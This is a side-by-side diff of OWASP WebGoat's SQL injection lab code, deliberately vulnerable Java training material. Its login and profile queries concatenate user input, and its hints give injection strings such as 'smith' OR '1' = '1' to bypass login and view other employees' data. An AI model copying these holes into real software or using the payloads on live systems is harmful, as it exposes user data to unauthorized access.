employeeId = s.getParser().getStringParameter(SQLInjection.EMPLOYEE_ID); employeeId = s.getParser().getStringParameter(SQLInjection.EMPLOYEE_ID);
String password = s.getParser().getRawParameter(SQLInjection.PASSWORD); String password = s.getParser().getRawParameter(SQLInjection.PASSWORD);
// Attempt authentication // Attempt authentication
boolean authenticated = login(s, employeeId, password); boolean authenticated = login(s, employeeId, password);
updateLessonStatus(s); updateLessonStatus(s);
if (authenticated) if (authenticated)
{ {
// Execute the chained Action if authentication succeeded. // Execute the chained Action if authentication succeeded.
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }
else else
s.setMessage("Login failed"); s.setMessage("Login failed");
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// No credentials offered, so we log them out // No credentials offered, so we log them out
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE); setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
} }
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
String nextPage = SQLInjection.LOGIN_ACTION; String nextPage = SQLInjection.LOGIN_ACTION;
if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s); if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s);
return nextPage; return nextPage;
} }
public boolean requiresAuthentication() public boolean requiresAuthentication()
{ {
return false; return false;
} }
public boolean login(WebSession s, String userId, String password) public boolean login(WebSession s, String userId, String password)
{ {
// System.out.println("Logging in to lesson"); // System.out.println("Logging in to lesson");
boolean authenticated = false; boolean authenticated = false;
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'"; String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'";
// System.out.println("Query:" + query); // System.out.println("Query:" + query);
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first()) if (answer_results.first())
{ {
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE); setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID, userId); setSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID, userId);
authenticated = true; authenticated = true;
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error logging in"); s.setMessage("Error logging in");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error logging in"); s.setMessage("Error logging in");
e.printStackTrace(); e.printStackTrace();
} }
// System.out.println("Lesson login result: " + authenticated); // System.out.println("Lesson login result: " + authenticated);
return authenticated; return authenticated;
} }
public boolean login_BACKUP(WebSession s, String userId, String password) public boolean login_BACKUP(WebSession s, String userId, String password)
{ {
// System.out.println("Logging in to lesson"); // System.out.println("Logging in to lesson");
boolean authenticated = false; boolean authenticated = false;
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'"; String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'";
// System.out.println("Query:" + query); // System.out.println("Query:" + query);
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first()) if (answer_results.first())
{ {
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE); setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID, userId); setSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID, userId);
authenticated = true; authenticated = true;
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error logging in"); s.setMessage("Error logging in");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error logging in"); s.setMessage("Error logging in");
e.printStackTrace(); e.printStackTrace();
} }
// System.out.println("Lesson login result: " + authenticated); // System.out.println("Lesson login result: " + authenticated);
return authenticated; return authenticated;
} }
public List getAllEmployees(WebSession s) public List getAllEmployees(WebSession s)
{ {
List<EmployeeStub> employees = new Vector<EmployeeStub>(); List<EmployeeStub> employees = new Vector<EmployeeStub>();
// Query the database for all roles the given employee belongs to // Query the database for all roles the given employee belongs to
// Query the database for all employees "owned" by these roles // Query the database for all employees "owned" by these roles
try try
{ {
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles " String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles "
+ "where employee.userid=roles.userid"; + "where employee.userid=roles.userid";
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst(); answer_results.beforeFirst();
while (answer_results.next()) while (answer_results.next())
{ {
int employeeId = answer_results.getInt("userid"); int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name"); String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name"); String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role"); String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role); EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub); employees.add(stub);
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
e.printStackTrace(); e.printStackTrace();
} }
return employees; return employees;
} }
private void updateLessonStatus(WebSession s) private void updateLessonStatus(WebSession s)
{ {
try try
{ {
String employeeId = s.getParser().getStringParameter(SQLInjection.EMPLOYEE_ID); String employeeId = s.getParser().getStringParameter(SQLInjection.EMPLOYEE_ID);
String password = s.getParser().getRawParameter(SQLInjection.PASSWORD); String password = s.getParser().getRawParameter(SQLInjection.PASSWORD);
String stage = getStage(s); String stage = getStage(s);
if (SQLInjection.STAGE1.equals(stage)) if (SQLInjection.STAGE1.equals(stage))
{ {
if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID && isAuthenticated(s)) if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID && isAuthenticated(s))
{ {
setStageComplete(s, SQLInjection.STAGE1); setStageComplete(s, SQLInjection.STAGE1);
} }
} }
else if (SQLInjection.STAGE2.equals(stage)) else if (SQLInjection.STAGE2.equals(stage))
{ {
// This assumes the student hasn't modified login_BACKUP(). // This assumes the student hasn't modified login_BACKUP().
if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID && !isAuthenticated(s) if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID && !isAuthenticated(s)
&& login_BACKUP(s, employeeId, password)) && login_BACKUP(s, employeeId, password))
{ {
setStageComplete(s, SQLInjection.STAGE2); setStageComplete(s, SQLInjection.STAGE2);
} }
} }
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
} }
} }
} }

View File

@ -52,227 +52,227 @@ import org.owasp.webgoat.session.WebSession;
*/ */
public class SQLInjection extends GoatHillsFinancial public class SQLInjection extends GoatHillsFinancial
{ {
private final static Integer DEFAULT_RANKING = new Integer(75); private final static Integer DEFAULT_RANKING = new Integer(75);
public final static int PRIZE_EMPLOYEE_ID = 112; public final static int PRIZE_EMPLOYEE_ID = 112;
public final static String PRIZE_EMPLOYEE_NAME = "Neville Bartholomew"; public final static String PRIZE_EMPLOYEE_NAME = "Neville Bartholomew";
public final static String STAGE1 = "String SQL Injection"; public final static String STAGE1 = "String SQL Injection";
public final static String STAGE2 = "Parameterized Query #1"; public final static String STAGE2 = "Parameterized Query #1";
public final static String STAGE3 = "Numeric SQL Injection"; public final static String STAGE3 = "Numeric SQL Injection";
public final static String STAGE4 = "Parameterized Query #2"; public final static String STAGE4 = "Parameterized Query #2";
public void registerActions(String className) public void registerActions(String className)
{ {
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions. // These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION))); registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION))); registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
} }
/** /**
* Gets the category attribute of the CrossSiteScripting object * Gets the category attribute of the CrossSiteScripting object
* *
* @return The category value * @return The category value
*/ */
public Category getDefaultCategory() public Category getDefaultCategory()
{ {
return Category.INJECTION; return Category.INJECTION;
} }
/** /**
* Gets the hints attribute of the DirectoryScreen object * Gets the hints attribute of the DirectoryScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command."); hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> " hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM employee WHERE userid = \" + userId + \" and password = \" + password"); + "\"SELECT * FROM employee WHERE userid = \" + userId + \" and password = \" + password");
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Try appending a SQL statement that always resolves to true"); + "Try appending a SQL statement that always resolves to true");
// Stage 1 // Stage 1
hints.add("You may need to use WebScarab to remove a field length limit to fit your attack."); hints.add("You may need to use OWASP ZAP to remove a field length limit to fit your attack.");
hints.add("Try entering a password of [ smith' OR '1' = '1 ]."); hints.add("Try entering a password of [ smith' OR '1' = '1 ].");
// Stage 2 // Stage 2
hints hints
.add("Many of WebGoat's database queries are already parameterized. Search the project for PreparedStatement."); .add("Many of WebGoat's database queries are already parameterized. Search the project for PreparedStatement.");
// Stage 3 // Stage 3
hints.add("Try entering an employee_id of [ 101 or 1=1 order by salary desc ]."); hints.add("Try entering an employee_id of [ 101 or 1=1 order by salary desc ].");
// Stage 4 // Stage 4
return hints; return hints;
} }
@Override @Override
public String[] getStages() public String[] getStages()
{ {
if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2, STAGE3, STAGE4 }; if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2, STAGE3, STAGE4 };
return new String[] { STAGE1, STAGE3 }; return new String[] { STAGE1, STAGE3 };
} }
/** /**
* Gets the instructions attribute of the ParameterInjection object * Gets the instructions attribute of the ParameterInjection object
* *
* @return The instructions value * @return The instructions value
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = ""; String instructions = "";
if (!getLessonTracker(s).getCompleted()) if (!getLessonTracker(s).getCompleted())
{ {
String stage = getStage(s); String stage = getStage(s);
if (STAGE1.equals(stage)) if (STAGE1.equals(stage))
{ {
instructions = "Stage 1: Use String SQL Injection to bypass authentication. " instructions = "Stage 1: Use String SQL Injection to bypass authentication. "
+ "Use SQL injection to log in as the boss ('Neville') without using the correct password. " + "Use SQL injection to log in as the boss ('Neville') without using the correct password. "
+ "Verify that Neville's profile can be viewed and that all functions are available (including Search, Create, and Delete)."; + "Verify that Neville's profile can be viewed and that all functions are available (including Search, Create, and Delete).";
} }
else if (STAGE2.equals(stage)) else if (STAGE2.equals(stage))
{ {
instructions = "Stage 2: Block SQL Injection using a Parameterized Query.<br><br>" instructions = "Stage 2: Block SQL Injection using a Parameterized Query.<br><br>"
+ "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br><br>" + "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br><br>"
+ "Implement a fix to block SQL injection into the fields in question on the Login page. " + "Implement a fix to block SQL injection into the fields in question on the Login page. "
+ "Repeat stage 1. Verify that the attack is no longer effective."; + "Repeat stage 1. Verify that the attack is no longer effective.";
} }
else if (STAGE3.equals(stage)) else if (STAGE3.equals(stage))
{ {
instructions = "Stage 3: Execute SQL Injection to bypass authorization.<br>" instructions = "Stage 3: Execute SQL Injection to bypass authorization.<br>"
+ "As regular employee 'Larry', use SQL injection into a parameter of the View function " + "As regular employee 'Larry', use SQL injection into a parameter of the View function "
+ "(from the List Staff page) to view the profile of the boss ('Neville')."; + "(from the List Staff page) to view the profile of the boss ('Neville').";
} }
else if (STAGE4.equals(stage)) else if (STAGE4.equals(stage))
{ {
instructions = "Stage 4: Block SQL Injection using a Parameterized Query.<br><br>" instructions = "Stage 4: Block SQL Injection using a Parameterized Query.<br><br>"
+ "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br><br>" + "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br><br>"
+ "Implement a fix to block SQL injection into the relevant parameter. " + "Implement a fix to block SQL injection into the relevant parameter. "
+ "Repeat stage 3. Verify that access to Neville's profile is properly blocked."; + "Repeat stage 3. Verify that access to Neville's profile is properly blocked.";
} }
} }
return instructions; return instructions;
} }
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
if (s.getLessonSession(this) == null) s.openLessonSession(this); if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null; String requestedActionName = null;
try try
{ {
requestedActionName = s.getParser().getStringParameter("action"); requestedActionName = s.getParser().getStringParameter("action");
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// Let them eat login page. // Let them eat login page.
requestedActionName = LOGIN_ACTION; requestedActionName = LOGIN_ACTION;
} }
if (requestedActionName != null) if (requestedActionName != null)
{ {
try try
{ {
LessonAction action = getAction(requestedActionName); LessonAction action = getAction(requestedActionName);
if (action != null) if (action != null)
{ {
// System.out.println("CrossSiteScripting.handleRequest() dispatching to: " + // System.out.println("CrossSiteScripting.handleRequest() dispatching to: " +
// action.getActionName()); // action.getActionName());
if (!action.requiresAuthentication() || action.isAuthenticated(s)) if (!action.requiresAuthentication() || action.isAuthenticated(s))
{ {
action.handleRequest(s); action.handleRequest(s);
// setCurrentAction(s, action.getNextPage(s)); // setCurrentAction(s, action.getNextPage(s));
} }
} }
else else
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// System.out.println("Missing parameter"); // System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve) } catch (ValidationException ve)
{ {
// System.out.println("Validation failed"); // System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue) } catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
// System.out.println("Authentication failure"); // System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
// System.out.println("Authorization failure"); // System.out.println("Authorization failure");
ue2.printStackTrace(); ue2.printStackTrace();
} catch (Exception e) } catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
// System.out.println("handleRequest() error"); // System.out.println("handleRequest() error");
e.printStackTrace(); e.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }
} }
// All this does for this lesson is ensure that a non-null content exists. // All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer()); setContent(new ElementContainer());
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the CrossSiteScripting object * Gets the title attribute of the CrossSiteScripting object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return "LAB: SQL Injection"; return "LAB: SQL Injection";
} }
@Override @Override
public String getSolution(WebSession s) public String getSolution(WebSession s)
{ {
String src = null; String src = null;
try try
{ {
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))),
false); false);
} catch (IOException e) } catch (IOException e)
{ {
s.setMessage("Could not find the solution file"); s.setMessage("Could not find the solution file");
src = ("Could not find the solution file"); src = ("Could not find the solution file");
} }
return src; return src;
} }
public String getLessonSolutionFileName(WebSession s) public String getLessonSolutionFileName(WebSession s)
{ {
String solutionFileName = null; String solutionFileName = null;
String stage = getStage(s); String stage = getStage(s);
solutionFileName = "/lesson_solutions_1/Lab SQL Injection/Lab " + stage + ".html"; solutionFileName = "/lesson_solutions_1/Lab SQL Injection/Lab " + stage + ".html";
return solutionFileName; return solutionFileName;
} }
} }

View File

@ -43,187 +43,187 @@ import org.owasp.webgoat.session.WebSession;
public class ViewProfile extends DefaultLessonAction public class ViewProfile extends DefaultLessonAction
{ {
public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName) public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException UnauthorizedException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
Employee employee = null; Employee employee = null;
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
String userId = getSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID); String userId = getSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID);
String employeeId = null; String employeeId = null;
try try
{ {
// User selected employee // User selected employee
employeeId = s.getParser().getRawParameter(SQLInjection.EMPLOYEE_ID); employeeId = s.getParser().getRawParameter(SQLInjection.EMPLOYEE_ID);
} catch (ParameterNotFoundException e) } catch (ParameterNotFoundException e)
{ {
// May be an internally selected employee // May be an internally selected employee
employeeId = getRequestAttribute(s, getLessonName() + "." + SQLInjection.EMPLOYEE_ID); employeeId = getRequestAttribute(s, getLessonName() + "." + SQLInjection.EMPLOYEE_ID);
} }
// FIXME: If this fails and returns null, ViewProfile.jsp will blow up as it expects an // FIXME: If this fails and returns null, ViewProfile.jsp will blow up as it expects an
// Employee. // Employee.
// Most other JSP's can handle null session attributes. // Most other JSP's can handle null session attributes.
employee = getEmployeeProfile(s, userId, employeeId); employee = getEmployeeProfile(s, userId, employeeId);
// If employee==null redirect to the error page. // If employee==null redirect to the error page.
if (employee == null) if (employee == null)
getLesson().setCurrentAction(s, SQLInjection.ERROR_ACTION); getLesson().setCurrentAction(s, SQLInjection.ERROR_ACTION);
else else
setSessionAttribute(s, getLessonName() + "." + SQLInjection.EMPLOYEE_ATTRIBUTE_KEY, employee); setSessionAttribute(s, getLessonName() + "." + SQLInjection.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
updateLessonStatus(s, employee); updateLessonStatus(s, employee);
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return SQLInjection.VIEWPROFILE_ACTION; return SQLInjection.VIEWPROFILE_ACTION;
} }
public Employee getEmployeeProfile(WebSession s, String userId, String subjectUserId) throws UnauthorizedException public Employee getEmployeeProfile(WebSession s, String userId, String subjectUserId) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT employee.* " String query = "SELECT employee.* "
+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and " + "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId; + "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId;
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results .getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
// System.out.println("Profile: " + profile); // System.out.println("Profile: " + profile);
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
return profile; return profile;
} }
public Employee getEmployeeProfile_BACKUP(WebSession s, String userId, String subjectUserId) public Employee getEmployeeProfile_BACKUP(WebSession s, String userId, String subjectUserId)
throws UnauthorizedException throws UnauthorizedException
{ {
// Query the database to determine if this employee has access to this function // Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given // Query the database for the profile data of the given employee if "owned" by the given
// user // user
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results .getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
return profile; return profile;
} }
private void updateLessonStatus(WebSession s, Employee employee) private void updateLessonStatus(WebSession s, Employee employee)
{ {
try try
{ {
String userId = getSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID); String userId = getSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID);
String employeeId = s.getParser().getRawParameter(SQLInjection.EMPLOYEE_ID); String employeeId = s.getParser().getRawParameter(SQLInjection.EMPLOYEE_ID);
String stage = getStage(s); String stage = getStage(s);
if (SQLInjection.STAGE3.equals(stage)) if (SQLInjection.STAGE3.equals(stage))
{ {
// If the employee we are viewing is the prize and we are not authorized to have it, // If the employee we are viewing is the prize and we are not authorized to have it,
// the stage is completed // the stage is completed
if (employee != null && employee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID if (employee != null && employee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID
&& !isAuthorizedForEmployee(s, Integer.parseInt(userId), employee.getId())) && !isAuthorizedForEmployee(s, Integer.parseInt(userId), employee.getId()))
{ {
setStageComplete(s, SQLInjection.STAGE3); setStageComplete(s, SQLInjection.STAGE3);
} }
} }
else if (SQLInjection.STAGE4.equals(stage)) else if (SQLInjection.STAGE4.equals(stage))
{ {
// If we were denied the employee to view, and we would have been able to view it // If we were denied the employee to view, and we would have been able to view it
// in the broken state, the stage is completed. // in the broken state, the stage is completed.
// This assumes the student hasn't modified getEmployeeProfile_BACKUP(). // This assumes the student hasn't modified getEmployeeProfile_BACKUP().
if (employee == null) if (employee == null)
{ {
Employee targetEmployee = null; Employee targetEmployee = null;
try try
{ {
targetEmployee = getEmployeeProfile_BACKUP(s, userId, employeeId); targetEmployee = getEmployeeProfile_BACKUP(s, userId, employeeId);
} catch (UnauthorizedException e) } catch (UnauthorizedException e)
{ {
} }
if (targetEmployee != null && targetEmployee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID) if (targetEmployee != null && targetEmployee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID)
{ {
setStageComplete(s, SQLInjection.STAGE4); setStageComplete(s, SQLInjection.STAGE4);
} }
} }
} }
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
} }
} }
} }

View File

